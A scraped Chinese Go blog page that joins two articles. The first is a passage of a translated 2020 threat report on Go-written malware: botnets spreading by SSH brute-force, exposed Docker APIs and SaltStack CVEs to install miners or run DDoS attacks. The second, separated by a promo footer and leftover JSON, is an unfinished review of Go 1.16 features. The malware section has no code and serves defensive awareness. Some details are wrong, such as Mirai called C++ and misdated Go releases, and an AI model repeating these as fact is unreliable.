随着开源机器人库的出现，它们被恶意软件作者滥用的情况并不少见。IRCFlu就是一个例子。IRCFlu是一个托管在GitHub上的IRC机器人。该机器人提供了在托管机器人的机器上执行任意代码的功能，这使得威胁行为者可以利用这个机器人远程控制多台受感染的机器。\n除了开源项目被滥用外，2020年还出现了老牌知名僵尸网络的攻击行为。被称为ddg的僵尸网络是由Netlab在360首次报道的。他们在2017年10月检测到该僵尸网络对托管OrientDB的服务器的攻击。该僵尸网络的目标是安装Monero矿机。2020年，该僵尸网络进行了更新，通过增加一个p2p网络支持的C2基础设施，使其更有弹性地抵御击杀。混合的p2p网络基础设施允许威胁行为者在正常的C2服务器瘫痪时保持对机器人的控制。\n另一个仍然活跃的老僵尸网络是StealthWorker，也被称为GoBrut。StealthWorker是Malwarebytes在2019年2月首次报道的。它是一个以Stealth Bomber为名在暗网论坛上销售的僵尸，用于通过凭证式蛮力攻击获得网络服务的访问权限。\n僵尸网络r2r2是另一个通过蛮横强迫凭证传播的僵尸。它最早是在2018年被发现的。它随机生成IP地址，并试图通过弱凭证访问运行SSH的服务。一旦它获得了一个立足点，它就会在机器上安装一个密码器。该僵尸的功能非常有限，它由不到200百行的代码组成。\n其他僵尸网络也在不断进化，以增加其潜在的目标。在2020年，Orthrus，也被称为Golang，演变为也针对Windows服务器。该僵尸是Antiy在2019年6月首次报道的。它主要针对未受保护或凭证薄弱的Redis服务器。一旦它获得远程代码执行，它就会安装一套二进制文件。一个是针对其他易受攻击服务的扫描器，一个看门狗服务和一个密码器。扫描器试图破坏其他有已知漏洞的网络服务。例如，Weblogic，Elasticsearch和Drupal是目标。在2020年，该恶意软件还增加了针对微软SQL服务器的目标。它试图通过强行获取凭证来获得访问权。该恶意软件包括一个近3000个密码的列表，它只针对SQL服务器使用。\n12月，我们发现了另一个跨操作系统的挖掘机器人，我们称之为XMRig Miner Dropper。它的目标是运行MySQL、Tomcat和Jenkins的服务器以及凭证较弱或脆弱的WebLogic。根据底层操作系统的不同，该机器人提供了一个用于执行shell脚本或PowerShell脚本的有效载荷。一旦它入侵机器，它就会安装一个密码器，并试图利用其他服务器。\n2016年9月，Mirai的源代码被发布。这导致许多新的僵尸网络从Mirai源代码中衍生出来。虽然该僵尸代码是用C++编写的，但该代码的发布为其他恶意软件作者用不同语言编写类似的僵尸提供了蓝本。2020年1月，Bitdefender发布了一份报告，介绍了一个用Go编写的受Mirai启发的新僵尸网络，他们将其命名为LiquorBot。该僵尸网络本质上是Mirai在Go中的重新实现，目标是运行在ARM（32位和64位）、x86（32位和64位）和MIPS上的Linux设备。该僵尸通过强行获取SSH证书和利用路由器的已知漏洞进行传播。一旦它获得了设备的访问权限，它就会试图感染其他人，并且还安装了一个Monero密码器。\nLiquorBot并不是唯一受Mirai启发的僵尸网络。4月，我们发现了Kaiji，这是一个通过SSH蛮横强迫来针对Linux服务器和物联网设备的僵尸网络。除了强行插入薄弱的凭证外，该僵尸还试图使用在受感染机器上发现的本地SSH密钥来传播到企业内的其他机器。与Mirai类似，Kaiji允许僵尸管理员对他们选择的任何基础设施发起DDoS攻击。攻击包括两个TCPFlood实现（一个带有原始套接字）、两个UDPFlood实现（一个带有原始套接字）、IPSpoof攻击、SYNACK攻击、SYN攻击和ACK攻击。\n2020年6月，Kaiji将其目标方法扩大到包括暴露API套接字的服务器。该恶意软件开始在互联网上扫描端口2375暴露的主机。如果它找到了一个，它会尝试部署一个流氓Docker容器，并在容器中执行Kaiji。\nKaiji不是唯一一个针对暴露的Docker API的僵尸网络。2020年11月，NetLab 360报告发现了一种名为Blackrota的新恶意软件。Kinsing，也被称为h2Miner，已经被称为针对Docker API。2020年1月，阿里巴巴云的研究人员首次报道了Kinsing。该僵尸网络正在使用masscan寻找暴露Hadoop Yarn、Redis和Docker的机器。当它发现一台运行这些服务的服务器时，它会试图利用服务中的已知漏洞来进一步传播自己。5月，我们观察到Kinsing利用SaltStack的两个漏洞CVE-2020-11651和CVE-2020-11652进行传播。该恶意软件还开始使用LD-PRELOAD用户地rootkit来隐藏其进程。\nSSH brute-force已经成为用Go编写的僵尸网络采用的主要攻击方式之一。我们发现了IPStorm的一个新的Linux变种，其中包括这种攻击向量。IPStorm是一个点对点(p2p)僵尸网络，于2019年5月首次被发现。它使用开源项目IPFS作为其网络骨干。除了原始的Windows变体，我们还发现了作为Linux变体的一部分，针对Android和物联网设备的变体。与本报告中的其他僵尸网络不同，IPStorm的目标不是安装矿机。相反，该僵尸网络似乎提供了一个代理网络。这个代理网络是作为互联网上的匿名代理网络出售的。\nIPStorm不是唯一一个在2020年活跃的Go编写的p2p网络。2020年8月，Guardicore发布了一份关于他们从同年1月开始追踪的一个新的p2p僵尸网络的报告。该僵尸网络被命名为FritzFrog，通过强行使用弱小的凭证来感染机器。Guardicore称，该僵尸网络已经成功入侵了超过500台服务器，其中包括 “美国和欧洲的知名高教机构，以及一家铁路公司”。\n5. 未来预测与结论 虽然与用其他语言编写的恶意软件相比，用Go编写的恶意软件数量相对较少，但同比增长幅度很大。这种增长速度很可能会继续下去，这意味着用Go编写的恶意软件将变得更加频繁。对于针对Linux环境的恶意软件来说，用Go编写的部分比针对Windows的恶意软件要大。这很可能导致，在根据针对特定系统的恶意软件总量统计中，针对Linux系统的恶意软件的比例将可能变得最大。\n在目前用Go编写的Linux恶意软件中，有很大一部分是用于DDoS或安装密码器的机器人。这种趋势可能会持续下去。其他类型也可能会变得更加频繁。我们已经看到了针对Linux系统的Go勒索软件，而且有可能会出现更多的以窃取和加密有价值数据为目标的勒索软件。这与Proofpoint对2021年的预测一致，即勒索软件威胁行为者将开始更加关注攻击云端。这意味着企业应该采用专注于云的检测和预防产品，以确保他们的云环境受到保护。许多传统的防病毒和保护解决方案都是为了保护Windows环境而设计的，而Linux环境则更多地成为了”二等公民”。\n根据CrowdStrike从2020年开始的事件报告，在40%的事件中，恶意软件没有被反病毒产品检测到。除此之外，Go恶意软件一直很难被反病毒产品检测到，所以这种趋势很可能会继续下去。我们已经看到威胁行为者以相同的恶意软件代码库为中心，针对不同的操作系统进行攻击，导致恶意软件样本较少或未被检测到。由于恶意软件来自相同的代码库，因此使用代码基因的检测方法非常有效。未来我们很可能会看到更多针对多个操作系统的恶意软件，因为像Go这样的编程语言为恶意软件作者提供了一种简单的交叉编译恶意软件的方法。\n在Windows方面，许多威胁行为者已经使用Go来制作勒索软件。未来这种趋势很可能会继续下去。随着更多RaaS产品的出现，用Go编写勒索软件也不是不可能。由于能够轻松地进行交叉编译，RaaS运营商可以为他们的”客户”提供更广泛的目标。\nGo是一种开源的编程语言，它是在Google内部开发的，目的是利用过去几十年在硬件上取得的进步。它的设计是为了让开发者能够轻松地制作快速、安全、以网络为中心的代码，并在当今的多核CPU上获益。这使得该语言得到了极大的应用，尤其是在云环境中。开发者并不是唯一采用Go的人。Go强大的跨平台交叉编译、优秀的网络实现和加密库以及原生的文件嵌入功能让其颇受恶意软件开发者的青睐！ 在过去几年中，在市面上发现的用Go编写的新恶意软件几乎增加了2000%。这些恶意软件中有许多是针对Linux和物联网设备的僵尸网络，以安装加密矿机或将受感染的机器注册到DDoS僵尸网络中。此外，用Go编写的勒索软件似乎也变得更加普遍。一些用Go编写的著名勒索软件是Nefilim、EKANS和RobbinHood，这些勒索软件用于所谓的大型猎物攻击。\n传统的反病毒解决方案似乎仍然难以检测到用Go编写的恶意软件。较新的技术不仅可以根据代码重用来判断恶意，还可以对威胁进行分类，已经取得了较大的成功，因为它们甚至可以处理Linux和Windows二进制文件之间的相似性。虽然用Go编写的恶意软件可能仍处于初级阶段，但它可能很快就会进入青春期，从而导致大量增加。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 Go技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！目前该技术专栏正在新春促销！关注我的个人公众号“iamtonybai”，发送“go专栏活动”即可获取专栏专属优惠码，可在订阅专栏时抵扣20元哦(2021.2月末前有效)。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/07/go-malware-round-up-2020/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-malware-2020-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2020年5月份，\u003ca href=\"https://mp.weixin.qq.com/s/GHmwueTXNcZRo2oaF0Fqzg\"\u003eGo语言之父Rob Pike接受了evrone.com的专访\u003c/a\u003e。当Rob Pike老爷子被问及多年来他看到过最奇怪、最有创意或有趣的Go用法或最让他惊讶的是什么时，老爷子是这么回答的：\u003c/p\u003e","title":"究竟是什么让Go语言成为恶意软件作者的最爱"},{"content":"\n辛丑牛年初七开工大吉的日子(2021.2.18)，Go核心开发团队为中国Gopher们献上了大礼 – Go 1.16版本正式发布了！国内Gopher可以在Go中国官网上下载到Go 1.16在各个平台的安装包：\n2020年双12，Go 1.16进入freeze状态，即不再接受新feature，仅fix bug、编写文档和接受安全更新等，那时我曾写过一篇名为《Go 1.16新功能特性不完全前瞻》的文章。当时Go 1.16的发布说明尚处于早期草稿阶段，要了解Go 1.16功能特性都有哪些变化，只能结合当时的release note以及从Go 1.16里程碑中的issue列表中挖掘。\n如今Go 1.16版本正式发布了，和当时相比，Go 1.16又有哪些变化呢？在这篇文章中，我们就来一起详细分析一下Go 1.16中那些值得关注的重要变化！\n一. 语言规范 如果你是Go语言新手，想必你一定很期待一个大版本的发布会带来许多让人激动人心的语言特性。但是Go语言在这方面肯定会让你“失望”的。伴随着Go 1.0版本一起发布的Go1兼容性承诺给Go语言的规范加了一个“框框”，从Go 1.0到Go 1.15版本，Go语言对语言规范的变更屈指可数，因此资深Gopher在阅读Go版本的release notes时总是很自然的略过这一章节，因为这一章节通常都是如下面这样的描述：\n这就是Go的设计哲学：简单！绝不轻易向语言中添加新语法元素增加语言的复杂性。除非是那些社区呼声很高并且是Go核心团队认可的。我们也可以将Go从1.0到Go 1.16这段时间称为“Go憋大招”的阶段，因为就在Go团队发布1.16版本之前不久，Go泛型提案正式被Go核心团队接受(Accepted)：\n这意味着什么呢？这意味着在2022年2月份(Go 1.18)，Gopher们将迎来Go有史以来最大一次语言语法变更并且这种变更依然是符合Go1兼容性承诺的，这将避免Go社区出现Python3给Python社区带去的那种“割裂”。不过就像《“能力越大，责任越大” – Go语言之父详解将于Go 1.18发布的Go泛型》一文中Go语言之父Robert Griesemer所说的那样：泛型引入了抽象，但滥用抽象而没有解决实际问题将带来不必要的复杂性，请三思而后行! 离泛型的落地还有一年时间，就让我们耐心等待吧！\n二. Go对各平台/OS支持的变更 Go语言具有良好的可移植性，对各主流平台和OS的支持十分全面和及时，Go官博曾发布过一篇文章，简要列出了自Go1以来对各主流平台和OS的支持情况：\nGo1（2012年3月）支持原始系统(译注：上面提到的两种操作系统和三种架构)以及64位和32位x86上的FreeBSD、NetBSD和OpenBSD，以及32位x86上的Plan9。 Go 1.3（2014年6月）增加了对64位x86上Solaris的支持。 Go 1.4（2014年12月）增加了对32位ARM上Android和64位x86上Plan9的支持。 Go 1.5（2015年8月）增加了对64位ARM和64位PowerPC上的Linux以及32位和64位ARM上的iOS的支持。 Go 1.6（2016年2月）增加了对64位MIPS上的Linux，以及32位x86上的Android的支持。它还增加了32位ARM上的Linux官方二进制下载，主要用于RaspberryPi系统。 Go 1.7（2016年8月）增加了对的z系统（S390x）上Linux和32位x86上Plan9的支持。 Go 1.8（2017年2月）增加了对32位MIPS上Linux的支持，并且它增加了64位PowerPC和z系统上Linux的官方二进制下载。 Go 1.9（2017年8月）增加了对64位ARM上Linux的官方二进制下载。 Go 1.12（2018年2月）增加了对32位ARM上Windows10 IoT Core的支持，如RaspberryPi3。它还增加了对64位PowerPC上AIX的支持。 Go 1.14（2019年2月）增加了对64位RISC-V上Linux的支持。 Go 1.7版本中新增的go tool dist list命令还可以帮助我们快速了解各个版本究竟支持哪些平台以及OS的组合。下面是Go 1.16版本该命令的输出：\n$go tool dist list aix/ppc64 android/386 android/amd64 android/arm android/arm64 darwin/amd64 darwin/arm64 dragonfly/amd64 freebsd/386 freebsd/amd64 freebsd/arm freebsd/arm64 illumos/amd64 ios/amd64 ios/arm64 js/wasm linux/386 linux/amd64 linux/arm linux/arm64 linux/mips linux/mips64 linux/mips64le linux/mipsle linux/ppc64 linux/ppc64le linux/riscv64 linux/s390x netbsd/386 netbsd/amd64 netbsd/arm netbsd/arm64 openbsd/386 openbsd/amd64 openbsd/arm openbsd/arm64 openbsd/mips64 plan9/386 plan9/amd64 plan9/arm solaris/amd64 windows/386 windows/amd64 windows/arm 通常我不太会过多关注每次Go版本发布时关于可移植性方面的内容，这次将可移植性单独作为章节主要是因为Go 1.16发布之前的Apple M1芯片事件！\n苹果公司再次放弃Intel x86芯片而改用自造的基于Arm64的M1芯片引发业界激烈争论。但现实是搭载Arm64 M1芯片的苹果笔记本已经大量上市，对于编程语言开发团队来说，能做的只有尽快支持这一平台。因此，Go团队给出了在Go 1.16版本中增加对Mac M1的原生支持。\n在Go 1.16版本之前，Go也支持darwin/arm64的组合，但那更多是为了构建在iOS上运行的Go应用(利用gomobile)。\nGo 1.16做了进一步的细分：将darwin/arm64组合改为apple M1专用；而构建在iOS上运行的Go应用则使用ios/arm64。同时，Go 1.16还增加了ios/amd64组合用于支持在MacOS(amd64)上运行的iOS模拟器中运行Go应用。\n另外还值得一提的是在OpenBSD上，Go应用的系统调用需要通过libc发起，而不能再绕过libc而直接使用汇编指令了，这是出于对未来OpenBSD的一些兼容性要求考虑才做出的决定。\n三. Go module-aware模式成为默认！ 在泛型落地前，Go module依旧是这些年Go语言改进的重点(虽不是语言规范特性)。在Go 1.16版本中，Go module-aware模式成为了默认模式(另一种则是传统的gopath模式)。module-aware模式成为默认意味着什么呢？意味着GO111MODULE的值默认为on了。\n自从Go 1.11加入go module，不同go版本在GO111MODULE为不同值的情况下开启的构建模式几经变化，上一次go module-aware模式的行为有较大变更还是在Go 1.13版本中。这里将Go 1.13版本之前、Go 1.13版本以及Go 1.16版本在GO111MODULE为不同值的情况下的行为做一下对比，这样我们可以更好的理解go 1.16中module-aware模式下的行为特性，下面我们就来做一下比对：\nGO111MODULE \u0026lt; Go 1.13 Go 1.13 Go 1.16 on 任何路径下都开启module-aware模式 任何路径下都开启module-aware模式 【默认值】：任何路径下都开启module-aware模式 auto 【默认值】：使用GOPATH mode还是module-aware mode，取决于要构建的源码目录所在位置以及是否包含go.mod文件。如果要构建的源码目录不在以GOPATH/src为根的目录体系下，且包含go.mod文件(两个条件缺一不可)，那么使用module-aware mode；否则使用传统的GOPATH mode。 【默认值】：只要当前目录或父目录下有go.mod文件时，就开启module-aware模式，无论源码目录是否在GOPATH外面 只有当前目录或父目录下有go.mod文件时，就开启module-aware模式，无论源码目录是否在GOPATH外面 off gopath模式 gopath模式 gopath模式 我们看到在Go 1.16模式下，依然可以回归到gopath模式。但Go核心团队已经决定拒绝“继续保留GOPATH mode”的提案，并计划在Go 1.17版本中彻底取消gopath mode，仅保留go module-aware mode：\n虽然目前仍有项目没有转换到go module下，但根据调查，大多数项目已经选择拥抱go module并完成了转换工作，因此笔者认为即便Go 1.17真的取消了GOPATH mode，对整个Go社区的影响也不会太大了。\nGo 1.16中，go module机制还有其他几个变化，这里逐一来看一下：\n1. go build/run命令不再自动更新go.mod和go.sum了 为了能更清晰看出Go 1.16与之前版本的差异，我们准备了一个小程序：\n// github.com/bigwhite/experiments/blob/master/go1.16-examples/go-modules/helloworld/go.mod module github.com/bigwhite/helloworld go 1.16 // github.com/bigwhite/experiments/blob/master/go1.16-examples/go-modules/helloworld/helloworld.go package main import \u0026quot;github.com/sirupsen/logrus\u0026quot; func main() { logrus.Println(\u0026quot;Hello, World\u0026quot;) } 我们使用go 1.15版本构建一下该程序：\n$go build go: finding module for package github.com/sirupsen/logrus go: downloading github.com/sirupsen/logrus v1.8.0 go: found github.com/sirupsen/logrus in github.com/sirupsen/logrus v1.8.0 $cat go.mod module github.com/bigwhite/helloworld go 1.16 require github.com/sirupsen/logrus v1.8.0 $cat go.sum github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/magefile/mage v1.10.0/go.mod h1:z5UZb/iS3GoOSn0JgWuiw7dxlurVYTu+/jHXqQg881A= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sirupsen/logrus v1.8.0 h1:nfhvjKcUMhBMVqbKHJlk5RPrrfYr/NMo3692g0dwfWU= github.com/sirupsen/logrus v1.8.0/go.mod h1:4GuYW9TZmE769R5STWrRakJc4UqQ3+QQ95fyz7ENv1A= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 在Go 1.15版本中，go build会自动分析源码中的依赖，如果go.mod中没有对该依赖的require，则会自动添加require，同时会将go.sum中将相关包(特定版本)的校验信息写入。\n我们将上述helloworld恢复到初始状态，再用go 1.16来build一次：\n$go build helloworld.go:3:8: no required module provides package github.com/sirupsen/logrus; to add it: go get github.com/sirupsen/logrus 我们看到go build没有成功，而是给出错误：go.mod中没有对logrus的require，并给出添加对logrus的require的方法(go get github.com/sirupsen/logrus)。\n我们就按照go build给出的提示执行go get：\n$go get github.com/sirupsen/logrus go: downloading github.com/magefile/mage v1.10.0 go get: added github.com/sirupsen/logrus v1.8.0 $cat go.mod module github.com/bigwhite/helloworld go 1.16 require github.com/sirupsen/logrus v1.8.0 // indirect $cat go.sum github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/magefile/mage v1.10.0 h1:3HiXzCUY12kh9bIuyXShaVe529fJfyqoVM42o/uom2g= github.com/magefile/mage v1.10.0/go.mod h1:z5UZb/iS3GoOSn0JgWuiw7dxlurVYTu+/jHXqQg881A= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sirupsen/logrus v1.8.0 h1:nfhvjKcUMhBMVqbKHJlk5RPrrfYr/NMo3692g0dwfWU= github.com/sirupsen/logrus v1.8.0/go.mod h1:4GuYW9TZmE769R5STWrRakJc4UqQ3+QQ95fyz7ENv1A= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= $go build //ok 我们看到go build并不会向go 1.15及之前版本那样做出有“副作用”的动作：自动修改go.mod和go.sum，而是提示开发人员显式通过go get来添加缺少的包/module，即便是依赖包major版本升级亦是如此。\n从自动更新go.mod，到通过提供-mod=readonly选项来避免自动更新go.mod，再到Go 1.16的禁止自动更新go.mod，笔者认为这个变化是Go不喜“隐式转型”的一种延续，即尽量不支持任何可能让开发者产生疑惑或surprise的隐式行为（就像隐式转型），取而代之的是要用一种显式的方式去完成(就像必须显式转型那样)。\n我们也看到在go 1.16中，添加或更新go.mod中的依赖，只有显式使用go get。go mod tidy依旧会执行对go.mod的清理，即也可以修改go.mod。\n2. 推荐使用go install安装Go可执行文件 在gopath mode下，go install基本“隐身”了，它能做的事情基本都被go get“越俎代庖”了。在go module时代初期，go install更是没有了地位。但Go团队现在想逐步恢复go install的角色：安装Go可执行文件！在Go 1.16中，当go install后面的包携带特定版本号时，go install将忽略当前go.mod中的依赖信息而直接编译安装可执行文件：\n// go install回将gopls v0.6.5安装到GOBIN下 $go install golang.org/x/tools/gopls@v0.6.5 并且后续，Go团队会让go get将专注于分析依赖，并获取go包/module，更新go.mod/go.sum，而不再具有安装可执行Go程序的行为能力，这样go get和go install就会各司其职，Gopher们也不会再被两者的重叠行为所迷惑了。现在如果不想go get编译安装，可使用go get -d。\n3. 作废module的特定版本 在《如何作废一个已发布的Go module版本，我来告诉你！》一文中，我曾详细探讨了Go引入module后如何作废一个已发布的go module版本。当时已经知晓Go 1.16会在go.mod中增加retract指示符，因此也给出了在Go 1.16下retract一个module版本的原理和例子(基于当时的go tip)。\nGo 1.16正式版在工具的输出提示方面做了进一步的优化，让开发人员体验更为友好。我们还是以一个简单的例子来看看在Go 1.16中作废一个module版本的过程吧。\n在我的bitbucket账户下有一个名为m2的Go module(https://bitbucket.org/bigwhite/m2/)，当前它的版本为v1.0.0：\n// bitbucket.org/bigwhite/m2 $cat go.mod module bitbucket.org/bigwhite/m2 go 1.15 $cat m2.go package m2 import \u0026quot;fmt\u0026quot; func M2() { fmt.Println(\u0026quot;This is m2.M2 - v1.0.0\u0026quot;) } 我们在本地建立一个m2的消费者：\n// github.com/bigwhite/experiments/blob/master/go1.16-examples/go-modules/retract $cat go.mod module github.com/bigwhite/retractdemo go 1.16 $cat main.go package main import \u0026quot;bitbucket.org/bigwhite/m2\u0026quot; func main() { m2.M2() } 运行这个消费者：\n$go run main.go main.go:3:8: no required module provides package bitbucket.org/bigwhite/m2; to add it: go get bitbucket.org/bigwhite/m2 由于上面提到的原因，go run不会隐式修改go.mod，因此我们需要手工go get m2：\n$go get bitbucket.org/bigwhite/m2 go: downloading bitbucket.org/bigwhite/m2 v1.0.0 go get: added bitbucket.org/bigwhite/m2 v1.0.0 再来运行消费者，我们将看到以下运行成功的结果：\n$go run main.go This is m2.M2 - v1.0.0 现在m2的作者对m2打了小补丁，版本升级到了v1.0.1。这时消费者通过go list命令可以看到m2的最新版本(前提：go proxy server上已经cache了最新的v1.0.1)：\n$go list -m -u all github.com/bigwhite/retractdemo bitbucket.org/bigwhite/m2 v1.0.0 [v1.0.1] 消费者可以通过go get将对m2的依赖升级到最新的v1.0.1：\n$go get bitbucket.org/bigwhite/m2@v1.0.1 go get: upgraded bitbucket.org/bigwhite/m2 v1.0.0 =\u0026gt; v1.0.1 $go run main.go This is m2.M2 - v1.0.1 m2作者收到issue，有人指出v1.0.1版本有安全漏洞，m2作者确认了该漏洞，但此时v1.0.1版已经发布并被缓存到各大go proxy server上，已经无法撤回。m2作者便想到了Go 1.16中引入的retract指示符，于是它在m2的go.mod用retract指示符做了如下更新：\n$cat go.mod module bitbucket.org/bigwhite/m2 // 存在安全漏洞 retract v1.0.1 go 1.15 并将此次更新作为v1.0.2发布了出去！\n之后，当消费者使用go list查看m2是否有最新更新时，便会看到retract提示：(前提：go proxy server上已经cache了最新的v1.0.2)\n$go list -m -u all github.com/bigwhite/retractdemo bitbucket.org/bigwhite/m2 v1.0.1 (retracted) [v1.0.2] 执行go get会收到带有更详尽信息的retract提示和问题解决建议：\n$go get . go: warning: bitbucket.org/bigwhite/m2@v1.0.1: retracted by module author: 存在安全漏洞 go: to switch to the latest unretracted version, run: go get bitbucket.org/bigwhite/m2@latest 于是消费者按照提示执行go get bitbucket.org/bigwhite/m2@latest：\n$go get bitbucket.org/bigwhite/m2@latest go get: upgraded bitbucket.org/bigwhite/m2 v1.0.1 =\u0026gt; v1.0.2 $cat go.mod module github.com/bigwhite/retractdemo go 1.16 require bitbucket.org/bigwhite/m2 v1.0.2 $go run main.go This is m2.M2 - v1.0.2 到此，retract的使命终于完成了！\n4. 引入GOVCS环境变量，控制module源码获取所使用的版本控制工具 出于安全考虑，Go 1.16引入GOVCS环境变量，用于在go命令直接从代码托管站点获取源码时对所使用的版本控制工具进行约束，如果是从go proxy server获取源码，那么GOVCS将不起作用，因为go工具与go proxy server之间使用的是GOPROXY协议。\nGOVCS的默认值为public:git|hg,private:all，即对所有公共module允许采用git或hg获取源码，而对私有module则不限制版本控制工具的使用。\n如果要允许使用所有工具，可像下面这样设置GOVCS：\nGOVCS=*:all 如果要禁止使用任何版本控制工具去直接获取源码（不通过go proxy），那么可以像下面这样设置GOVCS:\nGOVCS=*:off 5. 有关go module的文档更新 自打Go 1.14版本宣布go module生产可用后，Go核心团队在说服和帮助Go社区全面拥抱go module的方面不可谓不努力。在文档方面亦是如此，最初有关go module的文档仅局限于go build命令相关以及有关go module的wiki。随着go module日益成熟，go.mod格式的日益稳定，Go团队在1.16版本中还将go module相关文档升级到go reference的层次，与go language ref等并列：\n我们看到有关go module的ref文档包括：\nGo Modules Reference https://tip.golang.org/ref/mod go.mod file reference https://tip.golang.org/doc/modules/gomod-ref 官方还编写了详细的Go module日常开发时的使用方法，包括：开发与发布module、module发布与版本管理工作流、升级major号等。\n建议每个gopher都要将这些文档仔细阅读一遍，以更为深入了解和使用go module。\n四. 编译器与运行时 1. runtime/metrics包 在《Go 1.16新功能特性不完全前瞻》一文中，我们提到过：Go 1.16 新增了runtime/metrics包，以替代runtime.ReadMemStats和debug.ReadGCStats输出runtime的各种度量数据，这个包更通用稳定，性能也更好。限于篇幅这里不展开，后续可能会以单独的文章讲解这个新包。\n2. GODEBUG环境变量支持跟踪包init函数的消耗 GODEBUG=inittrace=1这个特性也保留在了Go 1.16正式版当中了。当GODEBUG环境变量包含inittrace=1时，Go运行时将会报告各个源代码文件中的init函数的执行时间和内存开辟消耗情况。我们用上面的helloworld示例(github.com/bigwhite/experiments/blob/master/go1.16-examples/go-modules/helloworld)来看看该特性的效果：\n$go build $GODEBUG=inittrace=1 ./helloworld init internal/bytealg @0.006 ms, 0 ms clock, 0 bytes, 0 allocs init runtime @0.037 ms, 0.031 ms clock, 0 bytes, 0 allocs init errors @0.29 ms, 0.005 ms clock, 0 bytes, 0 allocs init math @0.31 ms, 0 ms clock, 0 bytes, 0 allocs init strconv @0.33 ms, 0.002 ms clock, 32 bytes, 2 allocs init sync @0.35 ms, 0.003 ms clock, 16 bytes, 1 allocs init unicode @0.37 ms, 0.10 ms clock, 24568 bytes, 30 allocs init reflect @0.49 ms, 0.002 ms clock, 0 bytes, 0 allocs init io @0.51 ms, 0.003 ms clock, 144 bytes, 9 allocs init internal/oserror @0.53 ms, 0 ms clock, 80 bytes, 5 allocs init syscall @0.55 ms, 0.010 ms clock, 752 bytes, 2 allocs init time @0.58 ms, 0.010 ms clock, 384 bytes, 8 allocs init path @0.60 ms, 0 ms clock, 16 bytes, 1 allocs init io/fs @0.62 ms, 0.002 ms clock, 16 bytes, 1 allocs init internal/poll @0.63 ms, 0.001 ms clock, 64 bytes, 4 allocs init os @0.65 ms, 0.089 ms clock, 4472 bytes, 20 allocs init fmt @0.77 ms, 0.006 ms clock, 32 bytes, 2 allocs init bytes @0.84 ms, 0.004 ms clock, 48 bytes, 3 allocs init context @0.87 ms, 0 ms clock, 128 bytes, 4 allocs init encoding/binary @0.89 ms, 0.002 ms clock, 16 bytes, 1 allocs init encoding/base64 @0.90 ms, 0.015 ms clock, 1408 bytes, 4 allocs init encoding/json @0.93 ms, 0.002 ms clock, 32 bytes, 2 allocs init log @0.95 ms, 0 ms clock, 80 bytes, 1 allocs init golang.org/x/sys/unix @0.96 ms, 0.002 ms clock, 48 bytes, 1 allocs init bufio @0.98 ms, 0 ms clock, 176 bytes, 11 allocs init github.com/sirupsen/logrus @0.99 ms, 0.009 ms clock, 312 bytes, 5 allocs INFO[0000] Hello, World 以下面这行为例：\ninit fmt @0.77 ms, 0.006 ms clock, 32 bytes, 2 allocs 0.77ms表示的是自从程序启动后到fmt包init执行所过去的时间(以ms为单位) 0.006 ms clock表示fmt包init函数执行的时间(以ms为单位) 312 bytes表示fmt包init函数在heap上分配的内存大小； 5 allocs表示的是fmt包init函数在heap上执行内存分配操作的次数。 3. Go runtime默认使用MADV_DONTNEED Go 1.15版本时，我们可以通过GODEBUG=madvdontneed=1让Go 